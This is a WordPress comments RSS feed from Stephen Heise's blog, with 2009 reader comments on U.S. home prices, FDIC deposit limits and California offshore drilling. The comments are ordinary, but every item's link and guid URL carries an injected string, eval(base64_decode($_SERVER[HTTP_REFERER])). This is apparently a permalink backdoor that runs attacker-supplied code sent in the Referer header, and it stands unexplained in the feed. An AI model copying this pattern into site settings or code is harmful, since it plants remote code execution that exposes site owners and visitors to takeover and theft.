<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.3.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>
<channel>
	<title>Comments for Stephen Heise</title>
	<link>http://www.stephenheise.com</link>
	<description></description>
	<pubDate>Wed, 08 Sep 2010 17:35:36 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.1</generator>
		<item>
		<title>Comment on International Deposit Insurance Limits by Stephen Heise</title>
		<link>http://www.stephenheise.com/2008/09/30/international-deposit-insurance-limits/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-7956</link>
		<dc:creator>Stephen Heise</dc:creator>
		<pubDate>Wed, 05 Aug 2009 04:03:04 +0000</pubDate>
		<guid>http://www.stephenheise.com/2008/09/30/international-deposit-insurance-limits/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-7956</guid>
		<description>On May 20, 2009 the U.S.A. FDIC $250k limit was extended through December 31, 2013.  Details can be found at http://www.fdic.gov/news/news/financial/2009/fil09022.html</description>
		<content:encoded><![CDATA[<p>On May 20, 2009 the U.S.A. FDIC $250k limit was extended through December 31, 2013.  Details can be found at <a href="http://www.fdic.gov/news/news/financial/2009/fil09022.html" rel="nofollow">http://www.fdic.gov/news/news/financial/2009/fil09022.html</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Top 300 Most Overpriced Cities in Q3 2007 by Jeff</title>
		<link>http://www.stephenheise.com/2008/02/11/top-300-most-overpriced-cities-in-q3-2007/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-7789</link>
		<dc:creator>Jeff</dc:creator>
		<pubDate>Tue, 28 Jul 2009 16:43:14 +0000</pubDate>
		<guid>http://www.stephenheise.com/2008/02/11/top-300-most-overpriced-cities-in-q3-2007/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-7789</guid>
		<description>I live in Gainesville FL and have a significant downpayment over 100K with excellent credit, and I can't see myself paying the asking price for homes here. It is absurd the prices of Gainesville Real Estate and on top of that houses are old and/or made like crap.  People have $500 utility bills each month, taxes are 5K minimum per year, and to build a home yourself is impossible because 1/4 acre lots cost over 90K, the deed restriction for quality neighborhoods require 3000 Sq Ft homes (minimum price for these lots are 120K-some as high as 300K), and the county imposes an impact fee of 5K if outside the city limits.  Thanks for that Alachua County. I wish I never moved here.  I will either move out or remain in an apartment until people finally realize their asking price is too high.  I feel so dumb for having moved here.  Someone kick me!</description>
		<content:encoded><![CDATA[<p>I live in Gainesville FL and have a significant downpayment over 100K with excellent credit, and I can&#8217;t see myself paying the asking price for homes here. It is absurd the prices of Gainesville Real Estate and on top of that houses are old and/or made like crap.  People have $500 utility bills each month, taxes are 5K minimum per year, and to build a home yourself is impossible because 1/4 acre lots cost over 90K, the deed restriction for quality neighborhoods require 3000 Sq Ft homes (minimum price for these lots are 120K-some as high as 300K), and the county imposes an impact fee of 5K if outside the city limits.  Thanks for that Alachua County. I wish I never moved here.  I will either move out or remain in an apartment until people finally realize their asking price is too high.  I feel so dumb for having moved here.  Someone kick me!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on California Home Blues by The Burque Kid</title>
		<link>http://www.stephenheise.com/2009/05/27/california-home-blues/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-7285</link>
		<dc:creator>The Burque Kid</dc:creator>
		<pubDate>Wed, 08 Jul 2009 22:24:19 +0000</pubDate>
		<guid>http://www.stephenheise.com/2009/05/27/california-home-blues/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-7285</guid>
		<description>California has plenty of resources!  Cali has always been the trend setter and has aways had more opportunity then almost any other state.

Besides, its not only treehugger's opinion. Think of all the crap that leaches out into the ocean from a project like this.  As if there isn't enough garbage and plastic bags in the ocean already.  WE LIVE WITH EVERYTHING WE'VE THROWN AWAY...  

Did you think that doesn't harm the environment when there is a huge oil spill?  Get a grip friend. Money isn't so important when you can't go to the beach anymore.</description>
		<content:encoded><![CDATA[<p>California has plenty of resources!  Cali has always been the trend setter and has aways had more opportunity then almost any other state.</p>
<p>Besides, its not only treehugger&#8217;s opinion. Think of all the crap that leaches out into the ocean from a project like this.  As if there isn&#8217;t enough garbage and plastic bags in the ocean already.  WE LIVE WITH EVERYTHING WE&#8217;VE THROWN AWAY&#8230;  </p>
<p>Did you think that doesn&#8217;t harm the environment when there is a huge oil spill?  Get a grip friend. Money isn&#8217;t so important when you can&#8217;t go to the beach anymore.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on California Home Blues by Chris</title>
		<link>http://www.stephenheise.com/2009/05/27/california-home-blues/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-6576</link>
		<dc:creator>Chris</dc:creator>
		<pubDate>Thu, 18 Jun 2009 16:54:31 +0000</pubDate>
		<guid>http://www.stephenheise.com/2009/05/27/california-home-blues/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-6576</guid>
		<description>Dallas -- Just cause we can do something doesn't mean we should. We could also legalize prostitution, murder, all drugs, corporate greed, etc... which would also create jobs and tax all of them as well. We'd be rich...

Oil is not the answer...  http://www.youtube.com/homeproject</description>
		<content:encoded><![CDATA[<p>Dallas &#8212; Just cause we can do something doesn&#8217;t mean we should. We could also legalize prostitution, murder, all drugs, corporate greed, etc&#8230; which would also create jobs and tax all of them as well. We&#8217;d be rich&#8230;</p>
<p>Oil is not the answer&#8230;  <a href="http://www.youtube.com/homeproject" rel="nofollow">http://www.youtube.com/homeproject</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on California Home Blues by Dallas</title>
		<link>http://www.stephenheise.com/2009/05/27/california-home-blues/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-6367</link>
		<dc:creator>Dallas</dc:creator>
		<pubDate>Sat, 13 Jun 2009 02:37:18 +0000</pubDate>
		<guid>http://www.stephenheise.com/2009/05/27/california-home-blues/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-6367</guid>
		<description>California is an energy rich state, except all of your treehuggers won't let you drill offshore.  Which would increase tax revenues and give people high paying jobs.</description>
		<content:encoded><![CDATA[<p>California is an energy rich state, except all of your treehuggers won&#8217;t let you drill offshore.  Which would increase tax revenues and give people high paying jobs.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on U.S. Real Estate Market Cooling Down by Stephen Heise &#187; California Home Blues</title>
		<link>http://www.stephenheise.com/2007/12/17/us-real-estate-market-cooling-down/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-5874</link>
		<dc:creator>Stephen Heise &#187; California Home Blues</dc:creator>
		<pubDate>Wed, 27 May 2009 14:42:54 +0000</pubDate>
		<guid>http://www.stephenheise.com/2007/12/17/us-real-estate-market-cooling-down/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-5874</guid>
		<description>[...] was generated based on data released today by the FHFA (formerly OFHEO). Methodology is that of my original home price heatmap. For the data hounds, you can download the compiled numerical results for Q1 [...]</description>
		<content:encoded><![CDATA[<p>[&#8230;] was generated based on data released today by the FHFA (formerly OFHEO). Methodology is that of my original home price heatmap. For the data hounds, you can download the compiled numerical results for Q1 [&#8230;]</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on When Will California and Florida Hit Bottom? by Ladyd</title>
		<link>http://www.stephenheise.com/2009/02/24/when-will-california-and-florida-hit-bottom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4562</link>
		<dc:creator>Ladyd</dc:creator>
		<pubDate>Wed, 22 Apr 2009 04:09:41 +0000</pubDate>
		<guid>http://www.stephenheise.com/2009/02/24/when-will-california-and-florida-hit-bottom/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4562</guid>
		<description>We will be okey, here in California as soon as the Pelosi's Arnold's, Boxers and Feinsteins have learned that it is the people that rule, and the public coffers are not  to serve their own personal agendas, which is making money for themselves and their family and friends.
 The bottom in California will hit when we as a voting people rid ourselves of the incompetence that seems to rule our political scene.</description>
		<content:encoded><![CDATA[<p>We will be okey, here in California as soon as the Pelosi&#8217;s Arnold&#8217;s, Boxers and Feinsteins have learned that it is the people that rule, and the public coffers are not  to serve their own personal agendas, which is making money for themselves and their family and friends.<br />
 The bottom in California will hit when we as a voting people rid ourselves of the incompetence that seems to rule our political scene.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on City by City Home Heat Index Trends by Aidan Herbert</title>
		<link>http://www.stephenheise.com/2009/03/30/city-by-city-home-heat-index-trends/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4352</link>
		<dc:creator>Aidan Herbert</dc:creator>
		<pubDate>Thu, 16 Apr 2009 20:40:48 +0000</pubDate>
		<guid>http://www.stephenheise.com/2009/03/30/city-by-city-home-heat-index-trends/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4352</guid>
		<description>Hi Stephen,
I have spoken to you at the Dana Street, Coffee shop, and hope you are well.

A current question I am mulling around is:  
Why does it cost so much for home finance, these loans are secured by the value of the home plus the asset is fully insured.  The credit rating of the borrower should be a minor consideration beyond a minimum set of requirements.  Ie has the down payment, has a job, has an steady earning history.   This is especially true for people who have significant equity in their homes.
Aidan</description>
		<content:encoded><![CDATA[<p>Hi Stephen,<br />
I have spoken to you at the Dana Street, Coffee shop, and hope you are well.</p>
<p>A current question I am mulling around is:<br />
Why does it cost so much for home finance, these loans are secured by the value of the home plus the asset is fully insured.  The credit rating of the borrower should be a minor consideration beyond a minimum set of requirements.  Ie has the down payment, has a job, has an steady earning history.   This is especially true for people who have significant equity in their homes.<br />
Aidan</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on California and Florida Continue Home Price Freefall by Rany Buckingham</title>
		<link>http://www.stephenheise.com/2009/02/24/california-and-florida-continue-home-price-freefall/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4072</link>
		<dc:creator>Rany Buckingham</dc:creator>
		<pubDate>Fri, 10 Apr 2009 20:53:28 +0000</pubDate>
		<guid>http://www.stephenheise.com/2009/02/24/california-and-florida-continue-home-price-freefall/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-4072</guid>
		<description>Wow, looks like I picked the right time to buy my first house.  I live in Florida btw.

Cheers. =)</description>
		<content:encoded><![CDATA[<p>Wow, looks like I picked the right time to buy my first house.  I live in Florida btw.</p>
<p>Cheers. =)</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on California and Florida Continue Home Price Freefall by Stephen Heise &#187; City by City Home Heat Index Trends</title>
		<link>http://www.stephenheise.com/2009/02/24/california-and-florida-continue-home-price-freefall/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3648</link>
		<dc:creator>Stephen Heise &#187; City by City Home Heat Index Trends</dc:creator>
		<pubDate>Mon, 30 Mar 2009 11:59:26 +0000</pubDate>
		<guid>http://www.stephenheise.com/2009/02/24/california-and-florida-continue-home-price-freefall/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3648</guid>
		<description>[...] showing heat index trends since 1975. In addition to the 48 contiguous U.S. states shown in the animation, these charts include Alaska, Hawaii, and [...]</description>
		<content:encoded><![CDATA[<p>[&#8230;] showing heat index trends since 1975. In addition to the 48 contiguous U.S. states shown in the animation, these charts include Alaska, Hawaii, and [&#8230;]</p>
]]></content:encoded>
	</item>
</channel>
</rss>
